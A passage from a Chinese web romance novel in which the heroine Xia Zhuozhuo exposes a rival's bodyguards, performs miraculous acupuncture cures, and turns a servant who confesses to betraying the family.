另一个脸倒是没肿,就是一张脸惨白得跟个鬼似的。 “这是什么情况?” 司慎行俊眉敛起,也顾不上什么风花雪月了,脸色很快冷沉下来,正色询问夏灼灼。 夏灼灼看一眼司慎行。 他的头发还在滴水,衣服松松垮垮的,不似平时那样一丝不苟,只是随性的散漫。 却……意外地更招人。 夏灼灼吞了口唾沫,掩盖心下的波澜起伏。 “他们两个,是我在一个酒吧门口碰见的。” 夏灼灼一字一句说:“当时,他们在调戏杜家的大小姐,杜馨月。” 司慎行又扫了地上那两个人一眼,突然几步走上前,一脚踹翻了那个醒着的。 “你是谁的人?” 如果不是跟他有关,夏灼灼不会带着他们两个到他这里。 那人本来就因为晕车,意识模糊。 现在被踢翻质问,他下意识脱口而出:“我是司家的人!” 司慎行眯起眼,看向了阿麦。 阿麦心中一沉,紧跟着连忙上前,拽起那人的头发辨认了一下。 眼生。 没认出来。 他又去看那个昏迷不醒的家伙的脸。 肿的亲妈都不认识,何况是他? 阿麦只好如实对司慎行说:“我认不出来,应该……不是咱们的人。” 就在这时,霍刚从外面回来了。 他今天跟着司珏羽被折腾了一天,所以夜深了之后,他就找了个地方放松了下。 没想到一回来,发现枫林别苑里灯火通明。 少爷、阿麦、夏小姐,三个人都立在那里。 他忙跑过来。 “少爷,这是……?” “你认一下,这是不是你的人。”司慎行问。 霍刚便收敛了心神,走过去辨认人。 他比阿麦的动作还要粗鲁,连手都不用,直接用皮鞋的鞋头,把昏迷不醒的那个男人的脸踢正,凝视过去—— 虽然这张脸被打成了猪头,但他还是依靠着男人眉骨处的一块胎记把人认出来了。 只是这人怎么会在这里? 而且,夏小姐居然也在。 霍刚隐约想起,这两个人跟他提过,想邀请他去酒吧喝酒——被他拒绝了。 难道…… 霍刚心惊肉跳,不敢再多想。 他转身回到司慎行面前。 “少爷,他们不是我的人。” 先摘清楚关系,然后才继续说:“不过我认识他们,他们是司珏羽从京都带过来的,是她的随身保镖。” 司慎行的眸光凌厉异常。 怪不得这两个人说,他们是司家的人。 司慎行几不可闻地松了口气。 他在庆幸,这两个不是他的人。 否则夏灼灼把他越推越远,这两个人万死难辞其咎。 他侧身,伸手握住夏灼灼的手。 “他们欺负杜馨月了……也欺负你了吗?” 夏灼灼不自在地抽回自己的手,大概他洗的是冷水澡,他的手指很冰,但她莫名有种被灼伤了的感觉。 她努力平复情绪,看似无异样地说:“他们还不够格欺负我。” 司慎行又是松了一口气。 他问:“杜馨月人呢?没怎么样吧?” 言语中只有不悦,并没有太多的担心。 夏灼灼道:“我出现及时,这人只是亲了她的脸一下。” 司慎行眉头一拧,对阿麦说:“准备一下,明天去杜家登门道歉。” 夏灼灼开口道:“或许不用。” 司慎行看向她。 她按照自己猜测的说:“杜馨月是一个人去的酒吧,回家之后,走的是后门,所以她应该是瞒着家里人出来的。今天的事情,她大概率不会跟杜家说。” 司慎行了然。 “多谢你提醒我。” 夏灼灼轻扯唇角:“你在冯家也帮了我,不用道谢。只不过,这两个人……你打算怎么处理?” “直接处理。” 夏灼灼心下一惊。 “你这么做……不怕司珏羽找你麻烦?” 司慎行轻轻笑了下,眼底却冰凉一片。 “我不去找她麻烦,她就该感恩戴德了。” “既然这样,那我就先走了。” “不坐一会儿?我叫佣人准备了……” “不用,很晚了,再晚回去,我妈要担心。” 说着,她已经往车门那边去。 司慎行几步就追上她。 “坐我的车吧,你的车脏了,明天洗干净给你送回来。” 夏灼灼想起那人吐了一整个后备箱,隔着一辆车的距离,都能闻到恶心的味道。 她没有犹豫,点头答应了。 司慎行亲自送她。 临走的时候,冷冷对霍刚说:“你就跪在这里,好好反思。” 霍刚明白司慎行说的是什么意思。 少爷让他跟着司珏羽,并非是保护司珏羽的安全,而是让他盯着她别作妖。 他光顾着盯着司珏羽了,却没看好司珏羽手底下的人。 今天被冒犯的是杜馨月,不是夏灼灼,他已经在心里谢天谢地。 仅仅是跪一个晚上,这惩罚,是他该受着的。 霍刚什么都没为自己辩驳,直接跪了下去。 …… 车子很快开出枫林别苑。 夏灼灼率先开口:“我一开始也想到了,这应该是司珏羽的人。本来我自己就想直接解决他们,但怕万一是你的人……大水冲了龙王庙……” 她不想跟他当敌人。 无论是从情感上,还是理智上,都不想站在司慎行的对立面。 司慎行点头,心里有了一分暖意。 至少她不是厌恶自己的。 厌恶自己,就不会考虑那么多,直接把人送到他面前,弄清楚这究竟是谁的人。 “你今天晚上出门,是有什么事要办吗?” 夏灼灼看他一眼,很认真地说:“司慎行,如果你对我是真心的……就不要过问太多我的事。也不要再去查我的任何事。” 司慎行点头,同意了。 哪怕他心里对夏灼灼的确有很多疑问和想知道的东西。 既然她说不查,那咱就不查了。 横竖以后睡到一张床,还能有什么秘密? “那你对我……” “得看你表现,以及,你能不能做到你承诺的那样。” 那就是…… 愿意给他表现机会的意思? 司慎行心里一喜,方向盘都捏的紧了些。 “我一定好好表现。” 夏灼灼干咳一声,不自在望向窗外。 司慎行的余光瞥着夏灼灼的侧脸,喉头不自觉上下滚动了下。 “那我……什么时候能亲你?” 他可不是什么圣人。 以前守身如玉,是没碰到喜欢的。 现在碰到了,心里怎么会没有感觉? 男人要是对自己喜欢的女人没感觉,那这个人多半是个太监。 他恨不得现在就把夏灼灼压在身上…… 夏灼灼猛地扭头,狠狠瞪了司慎行一眼。 眼底是明显的警告。 司慎行冷静下来了,说:“我就是随便问问,我认真开车了,你别说话,别乱动,免得干扰我。” “……”她什么时候乱动了? 第154章 她身上的味道 事实证明,夏灼灼的确没动,她只是正常坐在那里呼吸,司慎行都觉得空气狭促。 因为他能闻到从夏灼灼身上传过来的淡淡香味。 跟其他女孩身上的香水味不同,夏灼灼身上总有一股很清新、让人安心的味道。 他初见她的时候就闻到了,那个时候以为,这可能是夏灼灼喷的哪种香水。 因为觉得好闻,他还让阿麦去找这种香水。 找了一圈,最终阴差阳错,在他路过一家中药铺的时候闻到了。 那是首乌藤香。 首乌藤,最大的作用是安神。 怪不得闻到她身上的味道,他会觉得内心平静。 可以前自己对她只是欣赏的时候,他觉得平和,现在闻了,却心潮澎湃,心尖波动。 司慎行觉得自己没办法继续这么闻下去了。 不然他会做出一些自己都不可控的事情。 于是司慎行将自己这边的车窗稍稍打开了些,风把车内属于夏灼灼身上的味道冲淡了很多。 他心境这才慢慢平复。 安静一刻,他开口道:“你身上的味道,是首乌藤吗?” 夏灼灼错愕看司慎行一眼。 “你闻得出来?” 司慎行说:“前两天我有点失眠,阿麦给我去中药铺买了一点安神香,里面主要的成分就是首乌藤。” 夏灼灼了然。 她点头说:“难怪。你没猜错,是首乌藤的味道。” 司慎行便接着问道:“首乌藤是安神的药,你也经常失眠吗?” “没有。”夏灼灼说:“我睡眠还行,但偶尔……会情绪不太好,所以我用中药材,自制了首乌藤洗发水。” 她说着,耸起一边的肩膀闻了闻,说:“味道应该很淡,你的嗅觉很灵敏,这都能闻得出来。” “我天生五感比别人强。” 这不是司慎行自夸,是真的。 不仅嗅觉,视力也比普通人要好那么一点。 余光的角度,都要比别人大一些。 记忆力更不必说,虽然不到过目不忘的程度,但别人需要背一个小时的东西,他二十分钟就能背完。 “如果我们有孩子,他应该也会继承我们两个的优秀基因。” 夏灼灼皱眉看过去。 意思很明显:八字都没一撇,提什么孩子? 司慎行怏怏干咳一声,说:“我觉得你的洗发水味道很不错,能不能分我一点?” “再说吧。” 夏灼灼说完,见司慎行垂了下眼皮,又补充道:“不是我小气,东西制作起来很麻烦,我剩下的不多,等我下次做好,让人给你送过来。” 司慎行立刻又高兴了。 “那我等着。放心,不白要你的,我会送你一个丰厚的回礼。” 夏灼灼没说话。 她答应下来不是想要什么回礼,只是司慎行的确帮了他很多次。 这么一点点的小要求,也不是什么贵重的东西,送他就送他了。 而且他说他失眠,首乌藤对失眠很管用。 车子一路平稳开着。 夜路没什么车,可四十分钟的路程,足足开了一个小时才到。 “谢谢你送我回来,司珏羽那边如果有什么动静,还麻烦你告诉我一声。” 司慎行点头说:“好。” 夏灼灼便拉开车门下车了。 一下车,看到夏太太正站在门口,一副很担心的样子。 直到借着月色看清楚是她,紧绷的神经这才松懈下来,随即快步迎上前。 “灼灼,都十一点了,我看你房间还是没人,所以在门口等你。” 夏灼灼牵住夏太太的手。 “我没事,妈,就是路上有点事情耽搁了。” 夏太太正要细问,那边传来车门打开又关上的声音。 母女两个人同时看过去,就见司慎行大迈步朝这边走过来。 “伯母。” “慎行?是你送灼灼回来的?” 司慎行点头,带着点抱歉的语气说:“是我约灼灼出去玩,本来说好玩一会儿就送她回来,没想到半路接到我一个刚回国的朋友的电话,我们就去了第二场。下次不会了,伯母,我会让灼灼早点回家。” 一番话,带着十成十的诚意。 夏太太听了,非但没怪司慎行,反而很高兴。 高兴他们两个终于有了点苗头了。 她是很中意这个女婿的,可惜灼灼不喜欢。 现在看来,好像也不是不可能。 她笑着说:“早知道是你约灼灼出去玩,我就不担心了。下次要提前跟我说,免得我心里不安。家里的情况你知道的,我难免多想。” 司慎行点头。 “是,是我的错,下次一定提前告知您。” 夏太太是丈母娘看女婿,越看越顺眼。 加上司慎行这么诚恳的态度,而且也平平安安把女儿送回来了,她哪里会生气? “好了,不说这些,这么晚了,我就不请你进去坐了,你早点回去休息,路上开车慢一点。” 司慎行微笑。 “谢谢伯母,我会注意安全。” 随即又看向夏灼灼:“我走了。” 大概是晚风太温柔,夏灼灼罕见地给予了回应:“路上小心。” 司慎行的笑容又扩大了一点。 他甚至有些感激司珏羽,阴差阳错,让他跟夏灼灼的关系好像近了一点点。 车子很快开走。 夏太太收回视线,看着夏灼灼。 她脸上满是笑容,又似乎在纠结,该不该细问女儿的心理想法。 夏灼灼知道她要问什么。 可是她自己也不知道该怎么回答。 在感情上狠狠摔过一跤并且付出了巨大代价的人,内心是拧巴的。 既想再试一次,又怕又摔一次。 但很明确的一点是,司慎行的出现,让她不避讳谈起宗域。 “妈,很晚了,我今天还没给大哥治疗,得先回去了,就是不知道大哥睡了没。” 夏太太听她提起夏怀征,就知道她暂时不想谈司慎行。 她很顺着说:“你大哥在等你。” 夏灼灼点头,搂着夏太太的手,一起回了别墅。 上了楼,夏怀征果然在等她。 夏灼灼先道了歉。 “对不起,大哥,让你等这么晚。” “说什么呢?你不欠大哥的,等再晚,也是大哥应该做的。” 夏怀征很讲理。 夏灼灼点头,没有再耽误时间。 今晚,是鬼门十三针的第六套针法。 随着针法越来越往后,夏怀征的不适感会越来越强。 等到最后一针落定,夏怀征只觉得自己的双腿在燃烧,烧得他想在床上打滚。 “大哥,你忍得住吗?如果忍不住,我用薄荷叶捣成汁,替你缓解。” 夏怀征攥着拳头问:“如果用这个,会对治疗效果有影响吗?” “有一点,不过你实在忍不住,用一点也行。” “那就不用了,我能忍。”夏怀征咬着牙后帮说。 夏灼灼握住夏怀征的手。 “好,我陪你。我们一起渡过去。” 吃得苦中苦,方能达成目标。 治疗的过程是痛苦的,但结果是值得的。 这一陪,就陪到了第二天天亮。 天边已经泛起鱼肚白,夏怀征腿上的灼烧感终于退去,沉沉睡过去。 夏灼灼伸了个懒腰,正要回房间,就听到了楼下隐隐传来说话的声音。 夏灼灼辨认了下,是许姨的声音。 她走到楼梯口,听清楚了对方的声音。 许姨是在打电话。 她打电话的内容,一字不落全都进了夏灼灼的耳朵。 但她一丝都没有暴露,轻手轻脚回了房间。 大概是熬了一夜,她第二天睡到日晒三竿才起来。 夏太太知道她辛苦一晚也没叫她,只是在她起床后给她端上了一碗海参粥。 夏灼灼不喜欢吃海鲜,更不喜欢吃海参。 但夏太太自己做的,她也不好辜负,只好咬牙灌下去一口。 没想到粥里一点也没有她讨厌的腥味,还异常鲜美。 “看出来你不喜欢吃海鲜,所以我用了很多香料压下去。怎么样,能接受这个味道吗?” 夏灼灼点头:“谢谢妈,我很爱吃。” “那就多吃点,吃完了还有。” 夏灼灼应声,慢慢吃着碗里的粥,脑子里却在想昨晚许姨的那通电话。 一碗粥吃完,正好许姨在她面前路过。 夏灼灼叫住她。 “许姨,我晚点想去附近超市买点东西,你可以陪我去吗?” 许姨欣然答应:“当然可以,七小姐。” 事情就这么说定了。 下午两点,夏灼灼等夏太太午睡之后,便带着许姨去了附近的超市。 只是去了超市之后,她只买了两瓶水。 一瓶给自己,一瓶给许姨。 许姨面带疑惑:“七小姐,你不买点别的吗?” 夏灼灼摇头,说:“我想起来,我买的东西超市应该没有,还麻烦您,陪我去一趟市中心。” 许姨当然没有意见。 夏灼灼便驱车,前往市中心。 车子最后在一家药材铺门口停下。 药材铺名字叫九针堂。 夏灼灼带着许姨下了车。 里面很快迎出来一个中年男人,名字叫洛万睿。 正是那天咖啡厅里,“不小心”撞破夏琉璃是假怀孕的那个中医大夫。 只不过比起他的名字,大家更喜欢叫他的外号“落九针”。 人家都传,落九针医术超群,没有什么疑难杂症是他施了九针还治不好的。 当然,这有夸大的成分,只不过这足以证明他的名气。 因而,许姨也认得他。 只是落九针难约,普通人别想轻易让他出诊,何况许姨一个佣人? 可现在,他客客气气地领着夏灼灼上楼。 就是许姨也看出来,落九针对夏灼灼不是一般的恭敬。 第155章 怪异病症 夏灼灼似乎是全程都没注意许姨,只带着她,被落九针指引着来到楼上。 楼上有一间房间,专门用来接待贵客。 许姨来过九珍堂,但这个房间,她还是第一次进。 一进门,落九针的目光就落在了许姨身上,又看看夏灼灼。 夏灼灼微笑道:“她是许姨,我妈妈最信任的佣人,都是自己人。” 许姨的神色,慢慢变了变。 落九针和夏灼灼都像是没注意到许姨表情的变化。 “我去泡茶,您还是喜欢喝大红袍吧?”落九针问。 夏灼灼点了点头,落九针这才安心去泡茶了。 而夏灼灼,也选了一张椅子坐下。 从这个角度,正好可以看到窗外的车水马龙。 夏灼灼的神色格外平静。 很快落九针那边一杯茶倒好,只不过他不是放到夏灼灼手边的茶几上,而是双手捧着茶杯,像是古代人一样,在夏灼灼面前跪下,然后把茶杯举过头顶。 “师父,请喝茶。” 许姨的眸子倏然瞪大。 落九针……叫七小姐师父? 夏灼灼含笑点了下头,接过那杯茶喝了一口。 “还是你泡的茶,最合我的胃口。坐吧。” 落九针这才站起来入座。 夏灼灼开口道:“我今天过来,是我妈妈的药喝得差不多了,我要重新开方子,进入第二个疗程。你去给我拿纸笔来。” “是。”落九针恭恭敬敬地拿了纸笔过来。 夏灼灼在纸上很快写出一副新的方子。 落九针接过来,惊叹不已:“多加的这几味药材简直是点睛之笔,徒弟自愧不如。” 夏灼灼说:“学中医,要天赋。你虽然天赋不够,好在足够勤勉。勤能补拙,以后慢慢学,总有一天能出师。” 许姨的表情更加震惊,一张嘴几乎合不拢。 名气这么大的落九针,非但是七小姐的徒弟,还、竟然还是没完全出师的? 那七小姐的医术得有多高超? 许姨的脑子很乱。 她只知道,七小姐回家那天,就把气晕的夏太太救醒。 只不过她并不太当回事。 因为夏太太的身体只是虚一点,并没有什么重病,稍微懂一点急救知识的人,可能都能把太太救醒。 而且,七小姐虽然一直在让太太喝中药,但是太太的恢复速度也没有很快。 这都一个多月了,只恢复了一点精气神,人还是很容易疲劳。 所以,她打心眼里不认为夏灼灼的医术有多好。 当然,她也并不知道,夏灼灼一直在治疗夏怀征的腿。 因为这是个秘密,只有夏太太、夏怀征本人,以及夏六知道。 连夏二他们都没告诉。 许姨自然也就不知道。 可今天看落九针的态度,她发现,自己轻视了七小姐。 只是两个人仍旧没注意许姨。 落九针恭恭敬敬地应了声“是”后,说:“那我现在去为夏太太配药?” “不着急,一会儿我要走了再拿药吧。” “是。” “对了,你上次的事情,办得很好,要什么奖励?” 说的,是揭穿夏琉璃假孕的事。 夏灼灼猜到,杜浩然肯再见到夏琉璃,只有夏琉璃拿假孕当借口,他才会应约。 所以提前安排了落九针等在咖啡厅。 而事实也的确如此。 当然,如果她猜错了也没关系,她的重点是让赵缇的孙子赵修凯看清楚夏琉璃的真面目。 只要他们两个见面,说出来的话,一定能让赵修凯清醒过来。 不过好在事情完全按照她预想中的发展。 只听落九针说:“师父愿意收我为徒,已经是最好的奖励了,我怎么好意思要什么奖励?只是……我最近遇上了一个疑难杂症,实在是有点无从下手。” 夏灼灼喝了口茶,问:“你说说看。” 落九针便开始说起那位患者的病症。 “这病症非常离奇,他去了好几家大医院都没有办法,所以找上了我。” “这个病人,他饮食起居没有任何问题,神志清晰,没有任何不良的感觉。” “但问题在于,他胸腔两侧的位置会发出青蛙一样的蛙叫声,如果用手按压,声音就会消失,不按着,就会一直发出蛙叫……” 夏灼灼淡淡点头:“有去西医院做过CT吗?” “做过,没有增生物,一切正常。” 夏灼灼沉默一阵,突然开口:“病人现在在这儿吗?” “正巧,他就在楼下。” “带过来,我看看。” “是。” 落九针匆匆下楼去了。 很快领上来一个干瘦却有精神的中年男人。 而且的确如落九针说的那样,胸腔两侧会发出蛙叫声。 只是声音不大,但在安静的房间里显得格外清晰。 许姨是个普通人,看见这种症状,吃惊得不得了。 夏灼灼却很平静,问起中年男人是从什么时候开始这种症状的。 男人忙说起自己的经历。 “那天我在我打工的主人家除草,突然一只蛤蟆跳出来,吓了我一跳,之后我就一直这样了。你说,我这是不是中邪了啊?要不去乡下找个人,给我做个法?” 夏灼灼笑道:“我先试试,如果不能治好,您再去做法也不迟。” 男人便答应了。 夏灼灼随后让男人躺平,进行触诊和诊脉。 触诊结束后,她心里已经彻底有了定论。 她让落九针拿一副金针过来,为男人进行了针灸。 随后她又写出一副药方。 落九针看了眼,问:“这是六神丹的配方?” “嗯,你去煎煮好,给他喝下去。” “是。” 落九针马不停蹄跑下去煎药。 这里有专业的现代化煎药工具,不到半个小时,药就煎好了。 男人喝了下去,不到两分钟,突然开始一阵剧痛。 “我去上个厕所。” “去吧。” 男人匆匆跑到卫生间去。 等他再出来的时候,身上竟然再也没有任何蛙叫声。 “这、这是怎么好的?” 夏灼灼解释道:“你不是中邪,用我们中医的说法,是左右关脉伏结,因惊气入脏腑导致的。我给你针灸,是先解开你的关脉伏结,然后服用六神汤,平息惊气。” 简单来说,就是先针灸,然后喝药,再把所谓的“中邪的东西”拉出来。 药到病除。 男人感恩戴德。 “女神医,你简直就是在世华佗!我主人家都把我当怪物,要把我赶出去了。现在我可以告诉他我不是中邪了,谢谢你,真的太谢谢了!” 夏灼灼微微点头。 “不用谢,这是我应该做的,以后有什么毛病,尽管来九珍堂。” “是,是。” 落九针带着人,下楼结账了。 中医馆不是做慈善的,治好了病,当然得付钱。 于是房间里很快只剩下夏灼灼和许姨。 许姨整个人呆呆的,像是还沉浸在夏灼灼高超的医术里。 夏灼灼朝她招招手。 “许姨,你别站着了,坐会儿吧,一会儿等落九针抓好药,咱们就回去。” 许姨骤然回神。 她转身,朝夏灼灼走了两步,而后突然跪下。 “七小姐!求你救命!” 夏灼灼露出一点疑惑的表情。 “许姨,你这是怎么了?快起来。” 她起身要去扶许姨,但许姨怎么都不肯从地上站起来。 “七小姐,我要跟您说一件事。” 夏灼灼拉不动人,拉起来,许姨又跪下去,她只好任由她跪着。 “许姨,你说。” 许姨这才开口了。 “前两天,有个姓司的小姐找我。她说她很喜欢三少爷,但是三少爷不喜欢她,所以她想请我帮忙。” “一开始,我没同意,我只是一个佣人,做不了三少爷的主。而且太太也吩咐过我们,特殊时期,让我们跟外面的人少往来。” “但是,我那个儿子……虽然太太给了我们夫妇两个钱,让他捡回了一条命,但是他却得了后遗症,眼睛看不见了。” “那位司小姐说,她认识一个很厉害的神医,只要我帮她,她就会请那位神医,为我儿子治眼睛。” 夏灼灼看着她。 “所以你就同意了?” 许姨声音颤抖着说:“她让我帮的忙,仅仅只是让我找借口,邀请三少爷去一个地方。我想着,那位司小姐既然是喜欢三少爷,肯定也不会对三少爷做什么不利的事情,所以我才同意了。” 夏灼灼安安静静看着许姨。 她的表情分不清喜怒。 但越是平静,许姨越是心慌。 她对着夏灼灼,重重磕了一个响头。 “七小姐,我知道我忘恩负义,不该瞒着你们答应那位司小姐的要求,但是我真的没办法了,我当妈的,不能看着儿子一辈子当个瞎子。” 夏灼灼终于开口了,问的问题,却是许姨料想不到的。 “这件事,夏管家知道吗?” 许姨跟夏管家是夫妻。 许姨摇摇头:“他很固执,如果我告诉他,他一定不会同意的,所以我什么都没跟他说。” 夏灼灼“嗯”了一声,说:“你的儿子,我会帮他看看。如果我治不了,天底下就不会有人治得了。你也可以死了这条心。但如果我能治,一定帮你治好他。” 她有这个自信的资本。 因为她的医术,是从无数个平行空间的医学大佬们那里学的,她融会贯通,比这个世界任何一个医生都要厉害。 “但是……” 她话音一转,说:“我有两个条件。” 第156章 背叛 许姨的眼睛透出光亮来。 “您说!别说一个条件了,十个条件、一百个条件我也答应。” 夏灼灼便说道:“第一个条件,我要你继续当那位司小姐的眼线,按照原计划进行,带我三哥,去你说的那个地方。” 许姨有些错愕。 “您……怎么还让我继续做这种事呢?” “我有我的安排。” 许姨就没继续问了,只问:“那第二个条件呢?” “第二个条件,事情结束之后,你要找借口,离开夏家。你在夏家落魄的时候没有选择离开,作为奖励,我帮你看你儿子的病。但你现在背叛了我们,作为惩罚,我不能留你,但还请你见谅。” 她向来赏罚分明。 许姨脸上流下两行泪。 她早已经把夏家当成了第二个家。 但做错了事,是该得到惩罚。 许姨朝夏灼灼磕了一个头。 “都听您的吩咐。” 夏灼灼“嗯”了声,让许姨起来。 “你仔细跟我说说,那位司小姐都跟你说了什么话。” 许姨便仔仔细细,把自己是在什么时候见到了司珏羽,到之后两个人每次通话的内容,以及最后一通电话里,司珏羽安排她怎么骗夏怀乐出门,都如实一一告诉了夏灼灼。 许姨也的确没撒谎,她也是看出来司珏羽是真心喜欢夏怀乐,这才最终选择答应帮助司珏羽。 夏灼灼认真听完了才开口。 “许姨,你觉得我三哥长得帅吗?” 许姨点头:“当然帅,他是我见过长得最好看的男孩子。” 除了那位登门过几次的司先生。 不过,两个人是不同的风格,一个是天生适合舞台的那种英润,另一个带了攻击性的冷俊。 夏灼灼继续问:“那你不觉得奇怪吗?三哥长得这么好看,进入最看脸的娱乐圈这几年,却一点都没有建树。” 许姨摇头:“这我不知道……我也很纳闷。按理说,不应该的。” 夏灼灼笑了笑,把司珏羽为了得到夏怀乐,是如何打压他的大致经过说了出来。 许姨瞠目结舌。 “她、她简直是个疯子。” “是啊。”夏灼灼笑意加深:“可你差点把我三哥送到了这个疯子手里。” 许姨后背一片寒意。 怪不得她自认为没做什么会伤害到三少爷的事情,七小姐还是要惩罚她,让她离开夏家。 许姨的眼睛再次流出眼泪。 “我错了,七小姐。” “你是错了,好在一切还来得及补救。” 正说着,房间的门被推开。 是落九针进来了。 看到许姨流着眼泪,脸色发白,他只当什么都没看到,继续走到夏灼灼面前才开口。 “师父,我已经为夏太太抓好药了。” “好。”夏灼灼起身:“那我不打扰了。” “怎么会打扰,师父愿意来是我的荣幸。” 夏灼灼笑了笑,带着许姨走了。 两人去了许姨的家。 许姨的儿子,长得很清秀。 只是太瘦了,像是风一吹就能倒。 而果然如许姨说的那样,她的儿子眼睛看不见。 “这几年我也带他去医院看过,都说治不了。”许姨说。 夏灼灼没说话,认真为许姨的儿子做检查。 足足十几分钟后,她才开口:“我能治。” 许姨眼睛倏然一亮。 就连双眸灰扑扑的青年眼底似乎都有了一抹光。 “今天来得突然,很多治疗用的东西我都没带,等事情结束,我再来给他看。” 许姨用力点头。 她知道这是夏灼灼的推辞。 免得她再次反水。 但是她真的不会反水了。 比起相信那位恶毒的司小姐,她当然更愿意相信七小姐。 今天,她也亲眼看到了七小姐的超凡医术。 她说她能治,那就是能治。 …… 两个人很快回到夏家。 夏太太已经午睡醒了,因为夏灼灼提前跟她说过她会跟许姨出门买东西,所以她这次没有为她担心。 只是看到好不容易吃完的药又塞了半个冰箱,脸色就有点白。 “灼灼,妈这药什么时候才能吃完?其实妈觉得,妈现在身体已经好很多了。” 老小老小,越老越小。 她哄着说:“最后一个疗程,吃完您就彻底药到病除啦。” “那最后一个疗程是多久?” “一个月。” 夏太太差点吓得昏过去。 好在这次的药不难喝,还带了一丝甜味,夏太太这才接受自己要继续吃一个月中药的事实。 正好夏怀征推着轮椅路过。 夏灼灼揪住他的轮椅扶手。 “大哥,别着急走,这次的药,你也有份。” 夏怀征倒是不避讳吃药。 只要能重新走路,他什么苦都愿意吃。 “我会认真喝的。”夏怀征说。 “看看。这才是病人的典范,妈,你得多学学大哥。” 客厅里笑声一片。 角落里,许姨流下了两行泪。 多好的家,可她却因为一时糊涂,以后再不能回来了。 …… 天边出现晚霞的时候,夏灼灼接到了赵缇打过来的电话。 他已经好很多了,说话也带了以前的中气,再不是有气无力的样子。 只是说出来的话,让夏灼灼眉头一皱。 赵缇说:“夏琉璃跑了。” 夏灼灼拿了手机,走到别墅外面的草地上,这才开口:“继续说,怎么回事。” 赵缇道:“前几天我们就报案了,但我很奇怪,案件怎么一直没有进展。今天打电话一问才知道,他们没抓到人,夏琉璃不知道跑到哪里去了。” 夏灼灼看向天边。 繁星满天,明天是个大晴天。 “我知道了。”她说着,又叮嘱赵缇:“你身体没好全,不用太在意她,这件事交给我来办。” 夏琉璃必须伏法。 她差点杀了她的老徒弟,她最是护犊,不会放过夏琉璃。 “还有一件事……”赵缇支支吾吾。 “你直说就好。” “修凯说,想请你吃顿饭,认认真真跟你道歉。” 夏灼灼直接拒绝:“道歉就免了,以后他擦亮眼睛,别给你我惹麻烦,就算是最好的道歉了。” 赵缇一噎,却也默认了夏灼灼的说法。 不过夏灼灼也想起了一件事。 “老徒弟,你知道我不喜欢张扬,所以不方便以我自己的名义公然收徒。所以,我希望你帮我收一个徒弟。” “谁?” “我六哥,夏怀瑾。” 这是夏灼灼一早许诺了夏怀瑾的。 为了让夏怀瑾能有更好的前途,也是为了让赵家有个延续,免得赵缇一走,赵家国画世家就此没落。 一举两得。 赵缇想了想,说:“夏琉璃抄的那些画,都是你六哥的画吧?” “没错。” “那我很荣幸,能有这么一个徒弟。等我出院了,我为他办一个认师宴,可以吗?” “当然可以。” 两人又聊了两分钟,夏灼灼才挂断电话。 片刻后,夏灼灼给金虎打了个电话。 查人,谷仔擅长。 但在沪城找人,金虎更合适。 他在沪城的根基,比暗部任何人都要深,而且各个门路,不论黑的白的,他都熟。 想找到夏琉璃,对他来说应该不是难事。 夏灼灼说明来意后,金虎一口答应下来。 “交给我了,火姐。不过……”他迟疑着说:“人如果还在沪城,我一定把她给您揪出来。但如果离开了沪城……” “你放心。”夏灼灼说:“为了防止她逃走,我早就派人卡住离开沪城的各个关口。夏琉璃除非会瞬移,否则她出不了沪城。” “那就好,只要她在沪城,我保证,三天之内,一定把她带到您面前。” “好。” 夏灼灼挂断了电话。 快要吃晚饭了,她正要回别墅里去,夏怀武开着车回来了。 他停好车,便朝夏灼灼走过来。 夏灼灼瞥了他一眼,注意到,他鞋子一圈都是泥泞。 今天没下雨,鞋子不该这样。 “去哪里了?”她问。 夏怀武很高兴夏灼灼主动跟自己搭话,他以为自己又要热脸贴冷屁股。 忙说:“去查你让我查的事了。” 却没说去了哪里。 夏灼灼问:“有查到点什么吗?” 夏怀武有些尴尬地挠挠头:“暂时还没有……” 夏灼灼的脸色更冷了。 “最多一周时间,如果你还查不到东西,这件事你就不用做了。” 夏怀武敛容,认真地向她保证:“一周之内,我一定会查到他们。” 夏灼灼没说话了,转身回别墅。 夏怀武忙追上她的脚步。 “你相信我,小七。” “我只相信结果。” 夏怀武一噎,不再多说什么。 夏太太在客厅看到兄妹两个人一起进来,原本还很高兴,以为他们兄妹关系有所缓和了。 可看到夏灼灼脸上的表情,一如既往地冷淡,夏太太弯起来的唇角又放了下去。 还是老样子。 哎。 吃完晚饭,夏太太特意叫了夏怀武去外面说话。 “你跟灼灼这样……不是个事儿。你也得主动一点,想想办法。至少,做点能让她高兴的事。她可是你亲妹妹,你跟夏琉璃都能处好,怎么跟自己亲妹妹相处不好?” 夏怀武说:“我会努力。但是……我实在不知道该怎么做。我觉得我不管做什么,小七都不会高兴。” 夏太太正色道:“既然不知道怎么让她高兴,那就至少,别做让她不高兴的事。” 夏怀武的心轻轻跳了一下。 但他努力把情绪压下,点头说:“我知道了,妈。” 夏太太叹了口气,回去了。 夏怀武一直盯着夏太太的背影,回想刚才夏太太说的那句“别做让她不高兴的事”,神色更加复杂。 第157章 她害怕的东西 又过去两天,夏灼灼这两天一直忙着暗部的转移。 京都那边,已经按照她的计划,让针对暗部的窦派的人,“成功”剿灭了暗部的几处重要根据地。 已经隐隐有传闻,说暗部老大已经死了,现在的暗部,溃不成军,不成气候了。 当然,事实是,暗部的人已经全部转移过来。 除此之外,他们还买下了很多铺面,不同的人,入住在不同的店铺。 他们看似不起眼,跟本地人融为一体,但其实有巨大的作用。 ——用于替暗部收集信息的。 当然,也有一部分留在了京都,继续盯着京都这边的动向。 夏灼灼忙了两天,心里很累,但身体却很好。 因为夏太太每天都给她煮不同的汤喝,她经常忙到很晚才睡,但体重反而增长了一点点。 换言之,夏太太把她养得很好。 只是第三天一早,夏灼灼就被楼下的笑闹声吵醒。 她其实有一点起床气,加上昨晚忙暗部的事情忙到凌晨四点多,天擦亮才睡着,现在不到八点就被吵醒,眉宇间就有一抹阴沉。 她光着脚下床,走到阳台。 就看到一道高大挺拔的身影站在楼下,跟夏怀征和夏怀呈正在说话。 至于夏六,他已经去S集团上班了。 虽然司慎行不用他坐班,但他表现得很认真尽职,每天早出晚归。 大家一开始还都不适应,因为夏六一直看起来是个吊儿郎当的,没想到认真做一件事的时候,完全是另一种形象。 而夏太太,正抱着一只可爱的小狗逗着玩。 小狗是一只小金毛。 浓密的毛发在晨曦的照耀下,反射出金色的色泽。 夏灼灼本能地蹙眉。 楼下的男人像是有了什么感应,抬头朝上面看来。 目光准确无误地跟她的视线对接。 夏灼灼本能地转身躲回了房间。 想的第一件事,竟然是——她刚起床的样子,是不是很丑? 其实是不丑的,还有点可爱。 